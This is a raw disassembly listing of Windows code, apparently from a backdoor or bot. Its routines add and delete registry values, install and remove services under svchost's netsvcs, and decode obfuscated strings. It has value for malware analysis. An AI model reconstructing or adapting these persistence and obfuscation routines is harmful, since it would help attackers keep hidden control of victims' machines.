push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_3C] call sub_4017E4 push eax push 80000002h call ebp mov ecx, esi call sub_401681 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_401681 push eax push 1 push 0 mov ecx, ebx call sub_401681 mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2940000h mov edx, [esp+80h+var_70] push edx nop call near ptr 2900000h lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 1 call sub_401226 lea ecx, [esp+80h+var_6C] mov byte ptr [esp+80h+var_4], 0 call sub_401226 lea ecx, [esp+80h+var_54] mov [esp+80h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+80h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 70h retn 8 sub_40E220 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40E7A0 proc near ; CODE XREF: sub_401447j var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_40E7A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 64h push ebx push ebp push esi push edi lea ecx, [esp+80h+var_6C] call sub_401424 lea ecx, [esp+80h+var_3C] mov [esp+80h+var_4], 0 call sub_401424 lea ecx, [esp+80h+var_54] mov byte ptr [esp+80h+var_4], 1 call sub_401424 push 0 push 5 push 3 push 0Eh push 29h push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea eax, [esp+144h+var_24] mov bl, 2 push 2Dh push eax mov byte ptr [esp+14Ch+var_4], bl call sub_4019B5 add esp, 0CCh push eax lea ecx, [esp+84h+var_3C] mov byte ptr [esp+84h+var_4], 3 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 13h push 5 push 3 push 9 push 16h push 12h push 5 push 2Dh push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+154h+var_24] push 2Dh push ecx call sub_4019B5 add esp, 0DCh push eax lea ecx, [esp+84h+var_54] mov byte ptr [esp+84h+var_4], 4 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea edx, [esp+134h+var_24] push 2Dh push edx call sub_4019B5 add esp, 0BCh push eax lea ecx, [esp+84h+var_6C] mov byte ptr [esp+84h+var_4], 5 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017E4 mov esi, dword_50F754 push eax push 80000002h call esi mov edi, [esp+80h+arg_0] mov ecx, edi call sub_401681 mov ecx, [esp+80h+var_70] mov ebp, dword_50F764 push eax push ecx call ebp mov edx, [esp+80h+var_70] mov ebx, dword_50F738 push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017E4 push eax push 80000002h call esi mov ecx, edi call sub_401681 mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017E4 push eax push 80000002h call esi mov ecx, edi call sub_401681 mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017E4 push eax push 80000001h call esi mov ecx, edi call sub_401681 mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_3C] call sub_4017E4 push eax push 80000001h call esi mov ecx, edi call sub_401681 mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea ecx, [esp+80h+var_54] mov byte ptr [esp+80h+var_4], 1 call sub_401226 lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 0 call sub_401226 mov [esp+80h+var_4], 0FFFFFFFFh lea ecx, [esp+80h+var_6C] call sub_401226 mov ecx, [esp+80h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 70h retn 4 sub_40E7A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0F0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40EC30 proc near ; CODE XREF: sub_401497j var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_40EC30 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h push ebx push esi mov esi, ecx lea ecx, [esp+5Ch+var_24] call sub_401424 push 104h push 104h lea ecx, [esp+64h+var_24] mov [esp+64h+var_4], 0 call sub_401C5D push eax call near ptr 27E0B0Ch nop lea ecx, [esp+5Ch+var_3C] call sub_401424 mov ecx, [esp+5Ch+arg_4] mov byte ptr [esp+5Ch+var_4], 1 call sub_4017E4 push eax lea ecx, [esp+60h+var_24] call sub_4017E4 push eax lea eax, [esp+64h+var_3C] push offset dword_443684 push eax call sub_40102D add esp, 10h lea ecx, [esp+5Ch+var_54] call sub_401424 lea ecx, [esp+5Ch+var_54] push offset aNetsvcs ; "-netsvcs" push ecx mov byte ptr [esp+64h+var_4], 2 call sub_40102D mov ecx, [esp+64h+arg_0] add esp, 8 lea edx, [esp+5Ch+var_54] lea eax, [esp+5Ch+var_3C] push edx push eax push ecx mov ecx, esi call sub_402153 lea ecx, [esp+5Ch+var_54] mov bl, al mov byte ptr [esp+5Ch+var_4], 1 call sub_401226 lea ecx, [esp+5Ch+var_3C] mov byte ptr [esp+5Ch+var_4], 0 call sub_401226 lea ecx, [esp+5Ch+var_24] mov [esp+5Ch+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+5Ch+var_C] mov al, bl pop esi pop ebx mov large fs:0, ecx add esp, 54h retn 8 sub_40EC30 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ED70 proc near ; CODE XREF: sub_402153j var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40ED70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 38h push ebx push ebp push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" mov [esp+5Ch+var_44], ecx push 0 nop call near ptr 2900962h mov edi, eax test edi, edi jnz short loc_40EDAF xor al, al jmp loc_40EF00 ; --------------------------------------------------------------------------- loc_40EDAF: ; CODE XREF: sub_40ED70+36j lea ecx, [esp+54h+var_24] call sub_401424 mov ecx, [esp+54h+arg_8] mov [esp+54h+var_4], 0 call sub_4017E4 mov ebx, [esp+54h+arg_4] push eax mov ecx, ebx call sub_4017E4 push eax lea eax, [esp+5Ch+var_24] push offset aSS_4 ; "\"%s\" %s" push eax call sub_40102D add esp, 10h lea ecx, [esp+54h+var_24] push 0 push 0 push 0 push 0 push 0 call sub_4017E4 push eax push 1 push 2 push 20h push 0F01FFh mov ecx, offset dword_447874 call sub_4017E4 mov ebp, [esp+7Ch+arg_0] push eax mov ecx, ebp call sub_4017E4 push eax push edi nop call near ptr 2900C88h mov esi, eax xor ecx, ecx cmp esi, ecx jnz short loc_40EE95 nop call near ptr 27B0836h cmp eax, 431h jnz short loc_40EE79 mov ecx, [esp+54h+var_44] push ebp call sub_401942 mov esi, dword_50F74C push 0 call esi push edi call esi mov ecx, [esp+54h+var_44] push ebx push ebp call sub_401497 lea ecx, [esp+54h+var_24] mov bl, al mov [esp+54h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_40EF00 ; --------------------------------------------------------------------------- loc_40EE79: ; CODE XREF: sub_40ED70+CBj push edi nop call near ptr 2910000h lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp short loc_40EF00 ; --------------------------------------------------------------------------- loc_40EE95: ; CODE XREF: sub_40ED70+BEj lea edx, [esp+54h+var_38] mov [esp+54h+var_34], ecx mov dword ptr [esp+54h+var_30], ecx push edx mov eax, 1 or ebx, 0FFFFFFFFh lea ecx, [esp+58h+var_40] push 2 push esi mov [esp+60h+var_3C], eax mov [esp+60h+var_40], eax mov [esp+60h+var_38], ebx mov [esp+60h+var_2C], eax mov [esp+60h+var_28], ecx nop call near ptr 291034Eh test eax, eax push esi mov esi, dword_50F74C jnz short loc_40EEEC call esi push edi call esi lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], ebx call sub_401226 xor al, al jmp short loc_40EF00 ; --------------------------------------------------------------------------- loc_40EEEC: ; CODE XREF: sub_40ED70+164j call esi push edi call esi lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], ebx call sub_401226 mov al, 1 loc_40EF00: ; CODE XREF: sub_40ED70+3Aj ; sub_40ED70+104j ... mov ecx, [esp+54h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 44h retn 0Ch sub_40ED70 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40EF90 proc near ; CODE XREF: sub_401942j var_1C = byte ptr -1Ch arg_0 = dword ptr 4 sub esp, 1Ch push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 2900962h mov edi, eax test edi, edi jnz short loc_40EFB7 pop edi xor al, al pop esi add esp, 1Ch retn 4 ; --------------------------------------------------------------------------- loc_40EFB7: ; CODE XREF: sub_40EF90+1Bj mov ecx, [esp+24h+arg_0] push 0F01FFh call sub_4017E4 push eax push edi call near ptr 28A073Eh nop mov esi, eax test esi, esi jnz short loc_40EFE4 push edi nop call near ptr 2910000h pop edi xor al, al pop esi add esp, 1Ch retn 4 ; --------------------------------------------------------------------------- loc_40EFE4: ; CODE XREF: sub_40EF90+41j lea eax, [esp+24h+var_1C] push eax push 1 push esi nop call near ptr 2900521h push esi nop call near ptr 290078Ah push esi mov esi, dword_50F74C call esi push edi call esi pop edi mov al, 1 pop esi add esp, 1Ch retn 4 sub_40EF90 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F030 proc near ; CODE XREF: sub_401FB4j arg_0 = dword ptr 4 push esi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 2900962h mov esi, eax test esi, esi jnz short loc_40F04F xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F04F: ; CODE XREF: sub_40F030+17j mov ecx, [esp+4+arg_0] push 0F01FFh call sub_4017E4 push eax push esi nop call near ptr 28A073Eh test eax, eax jnz short loc_40F076 push esi nop call near ptr 2910000h xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F076: ; CODE XREF: sub_40F030+37j push edi mov edi, dword_50F74C push eax call edi push esi call edi pop edi mov al, 1 pop esi retn 4 sub_40F030 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F0B0 proc near ; CODE XREF: sub_401FDCj arg_0 = dword ptr 4 push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 call near ptr 2900962h nop mov edi, eax test edi, edi jnz short loc_40F0D1 pop edi xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F0D1: ; CODE XREF: sub_40F0B0+18j mov ecx, [esp+8+arg_0] push 0F01FFh call sub_4017E4 push eax push edi nop call near ptr 28A073Eh mov esi, eax test esi, esi jnz short loc_40F0FB push edi call near ptr 2910000h nop pop edi xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F0FB: ; CODE XREF: sub_40F0B0+3Bj push 0 push 0 push esi nop call near ptr 28F0B97h push esi mov esi, dword_50F74C call esi push edi call esi pop edi mov al, 1 pop esi retn 4 sub_40F0B0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40F140: ; CODE XREF: ___:loc_4014A1j mov eax, large fs:0 push 0FFFFFFFFh push offset loc_439048 push eax mov large fs:0, esp sub esp, 60h push ebx push esi mov esi, [esp+78h] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+19h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F23A push 1 push offset asc_443600 ; " " lea eax, [esp+2Ch] push 1 push eax mov ecx, esi call sub_4011EA push 1 push offset asc_443600 ; " " lea ecx, [esp+14h] push 2 xor ebx, ebx push ecx mov ecx, esi mov [esp+84h], ebx call sub_4011EA lea edx, [esp+0Ch] lea eax, [esp+24h] push edx push eax mov ecx, edi mov byte ptr [esp+7Ch], 1 call sub_401726 test al, al jz short loc_40F206 lea ecx, [esp+0Ch] call sub_4017E4 push eax lea ecx, [esp+28h] call sub_4017E4 push eax push offset aRegAddSAsS_ ; "reg(add) \"%s\" as \"%s\"." lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 1Ch loc_40F206: ; CODE XREF: ___:0040F1C7j lea ecx, [esp+0Ch] mov [esp+74h], bl call sub_401226 lea ecx, [esp+24h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F23A: ; CODE XREF: ___:0040F176j lea ecx, [edi+47h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F2D9 push 1 push offset asc_443600 ; " " lea eax, [esp+2Ch] push 1 push eax mov ecx, esi call sub_4011EA lea ecx, [esp+24h] mov dword ptr [esp+74h], 2 push ecx mov ecx, edi call sub_401447 test al, al jz short loc_40F2B2 lea ecx, [esp+24h] call sub_4017E4 push eax push offset aRegDelS_ ; "reg(del) \"%s\"." lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h loc_40F2B2: ; CODE XREF: ___:0040F27Dj lea ecx, [esp+24h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F2D9: ; CODE XREF: ___:0040F24Cj lea ecx, [edi+75h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F3EF push 1 push offset asc_443600 ; " " lea ecx, [esp+44h] push 1 push ecx mov ecx, esi call sub_4011EA push 1 push offset asc_443600 ; " " lea edx, [esp+14h] push 2 push edx mov ecx, esi mov dword ptr [esp+84h], 3 call sub_4011EA push 1 push offset asc_443600 ; " " lea eax, [esp+2Ch] mov bl, 4 push 3 push eax mov ecx, esi mov [esp+84h], bl call sub_4011EA lea ecx, [esp+24h] lea edx, [esp+0Ch] push ecx lea eax, [esp+40h] push edx push eax mov ecx, edi mov byte ptr [esp+80h], 5 call sub_402153 test al, al jz short loc_40F3AD lea ecx, [esp+24h] call sub_4017E4 push eax lea ecx, [esp+10h] call sub_4017E4 push eax lea ecx, [esp+44h] call sub_4017E4 push eax push offset aServAddSAsSS_ ; "serv(add) \"%s\" as \"\"%s\" %s\"." lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 20h loc_40F3AD: ; CODE XREF: ___:0040F364j lea ecx, [esp+24h] mov [esp+74h], bl call sub_401226 lea ecx, [esp+0Ch] mov byte ptr [esp+74h], 3 call sub_401226 lea ecx, [esp+3Ch] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F3EF: ; CODE XREF: ___:0040F2EBj lea ecx, [edi+0A3h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F491 push 1 push offset asc_443600 ; " " lea eax, [esp+5Ch] push 1 push eax mov ecx, esi call sub_4011EA lea ecx, [esp+54h] mov dword ptr [esp+74h], 6 push ecx mov ecx, edi call sub_401942 test al, al jz short loc_40F46A lea ecx, [esp+54h] call sub_4017E4 push eax push offset aServDelS_ ; "serv(del) \"%s\"." lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h loc_40F46A: ; CODE XREF: ___:0040F435j lea ecx, [esp+54h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F491: ; CODE XREF: ___:0040F404j mov ecx, [esp+6Ch] pop edi pop esi xor al, al pop ebx mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- db 9 dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F590 proc near ; CODE XREF: sub_401D02j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx call near ptr 77C2C407h nop mov edx, eax mov eax, [esp+0Ch+arg_0] mov edi, esi or ecx, 0FFFFFFFFh mov [eax], edx xor eax, eax add esp, 4 repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi retn sub_40F590 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F600 proc near ; CODE XREF: sub_401695j var_29 = byte ptr -29h var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40F600 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebx push ebp push esi mov esi, ecx push edi mov [esp+3Ch+var_28], esi call sub_401E6A lea edi, [esi+11h] mov [esp+3Ch+var_4], 0 mov ecx, edi call sub_4011B3 lea ebp, [esi+28h] mov ecx, ebp call sub_401424 lea ecx, [esi+3Dh] mov byte ptr [esp+3Ch+var_4], 1 call sub_401424 lea ecx, [esi+56h] mov byte ptr [esp+3Ch+var_4], 2 call sub_401749 lea ecx, [esi+84h] mov byte ptr [esp+3Ch+var_4], 3 call sub_401749 lea ecx, [esi+0B2h] mov byte ptr [esp+3Ch+var_4], 4 call sub_401749 lea ecx, [esi+0E0h] mov byte ptr [esp+3Ch+var_4], 5 call sub_401749 lea ecx, [esi+10Eh] mov byte ptr [esp+3Ch+var_4], 6 call sub_401749 lea ecx, [esi+13Ch] mov byte ptr [esp+3Ch+var_4], 7 call sub_401749 lea ecx, [esi+16Ah] mov byte ptr [esp+3Ch+var_4], 8 call sub_401749 lea ecx, [esi+198h] mov byte ptr [esp+3Ch+var_4], 9 call sub_401749 lea ecx, [esi+1C6h] mov byte ptr [esp+3Ch+var_4], 0Ah call sub_401749 lea ecx, [esi+1F4h] mov byte ptr [esp+3Ch+var_4], 0Bh call sub_401749 lea ecx, [esi+222h] mov byte ptr [esp+3Ch+var_4], 0Ch call sub_401749 lea ecx, [esi+250h] mov byte ptr [esp+3Ch+var_4], 0Dh call sub_401749 lea ecx, [esi+27Eh] mov byte ptr [esp+3Ch+var_4], 0Eh call sub_401749 lea ecx, [esi+2ACh] mov byte ptr [esp+3Ch+var_4], 0Fh call sub_401749 lea eax, [esp+3Ch+var_29] lea ecx, [esi+2DAh] push eax mov byte ptr [esp+40h+var_4], 10h call sub_401721 mov dword ptr [edi], offset off_43E034 mov bl, 11h xor edi, edi push offset byte_446F70 mov ecx, ebp mov byte ptr [esp+40h+var_4], bl mov dword ptr [esi], offset off_43E028 mov byte ptr [esi+17h], 1 mov byte ptr [esi+15h], 0 mov byte ptr [esi+16h], 0 mov dword ptr [esi+18h], 0FFFFFFFFh mov [esi+1Ch], edi mov [esi+20h], edi call sub_4015D7 nop call near ptr 27E08A6h push edi push 21h push 28h push 23h lea ecx, [esp+4Ch+var_24] push 2Ah push ecx mov [esi+24h], eax call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 12h call sub_4017E4 push eax push offset dword_4470FC call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 1Fh push 1Dh push 23h push 2Eh push 29h lea edx, [esp+54h+var_24] push 28h push edx call sub_4019B5 add esp, 20h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 13h call sub_4017E4 push eax push offset dword_447100 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 28h push 23h push 29h lea eax, [esp+4Ch+var_24] push 24h push eax call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 14h call sub_4017E4 push eax push offset dword_447104 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 21h push 2Dh push 27h push 30h push 23h push 2Ch lea ecx, [esp+58h+var_24] push 2Ah push ecx call sub_4019B5 add esp, 24h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 15h call sub_4017E4 push eax push offset dword_447108 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 2Dh push 29h push 22h push 2Ch push 1Fh push 2Dh lea edx, [esp+5Ch+var_24] push 2Fh push edx call sub_4019B5 add esp, 28h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 16h call sub_4017E4 push eax push offset dword_44710C call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 46h push 47h lea eax, [esp+48h+var_24] push 47h push eax call sub_4019B5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 17h call sub_4017E4 push eax push offset dword_447110 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 46h push 44h lea ecx, [esp+48h+var_24] push 47h push ecx call sub_4019B5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 18h call sub_4017E4 push eax push offset dword_447114 call sub_401D02 add esp, 8 mov byte ptr [esp+3Ch+var_4], bl lea ecx, [esp+3Ch+var_24] call sub_401226 push edi push 21h push 28h push 29h lea edx, [esp+4Ch+var_24] push 2Ah push edx call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 19h call sub_4017E4 push eax push offset dword_447118 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Dh push 2Dh push 1Bh lea eax, [esp+4Ch+var_24] push 2Ah push eax call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Ah call sub_4017E4 push eax push offset dword_44711C call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 25h push 1Dh push 23h lea ecx, [esp+4Ch+var_24] push 28h push ecx call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Bh call sub_4017E4 push eax push offset dword_447120 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Ch push 1Fh push 2Dh lea edx, [esp+4Ch+var_24] push 2Fh push edx call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Ch call sub_4017E4 push eax push offset dword_447124 call sub_401D02 add esp, 8 mov byte ptr [esp+3Ch+var_4], bl lea ecx, [esp+3Ch+var_24] call sub_401226 push edi push 47h push 49h lea eax, [esp+48h+var_24] push 47h push eax call sub_4019B5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Dh call sub_4017E4 push eax push offset dword_447128 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 25h push 1Dh push 23h lea ecx, [esp+4Ch+var_24] push 25h push ecx call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Eh call sub_4017E4 push eax push offset dword_44712C call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 2Ch push 1Bh lea edx, [esp+4Ch+var_24] push 2Ah push edx call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Fh call sub_4017E4 push eax push offset dword_447130 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 1Fh push 1Eh push 29h lea eax, [esp+4Ch+var_24] push 27h push eax call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 20h call sub_4017E4 push eax push offset dword_447134 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 45h push 44h lea ecx, [esp+48h+var_24] push 44h push ecx call sub_4019B5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 21h call sub_4017E4 push eax push offset dword_447138 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 49h push 44h lea edx, [esp+48h+var_24] push 44h push edx call sub_4019B5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 22h call sub_4017E4 push eax push offset dword_44713C call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 23h push 2Fh lea eax, [esp+4Ch+var_24] push 2Bh push eax call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 23h call sub_4017E4 push eax push offset dword_447140 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 mov ecx, [esp+3Ch+var_C] mov eax, esi pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 2Ch retn sub_40F600 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 180h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40FD70 proc near ; CODE XREF: ___:004019C4j sub_401A3Cj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4013C0 sub_40FD70 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_40FD88 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_40FD88: ; CODE XREF: ___:0040FD7Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40FDA0 proc near ; CODE XREF: sub_4013C0j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40FDA0 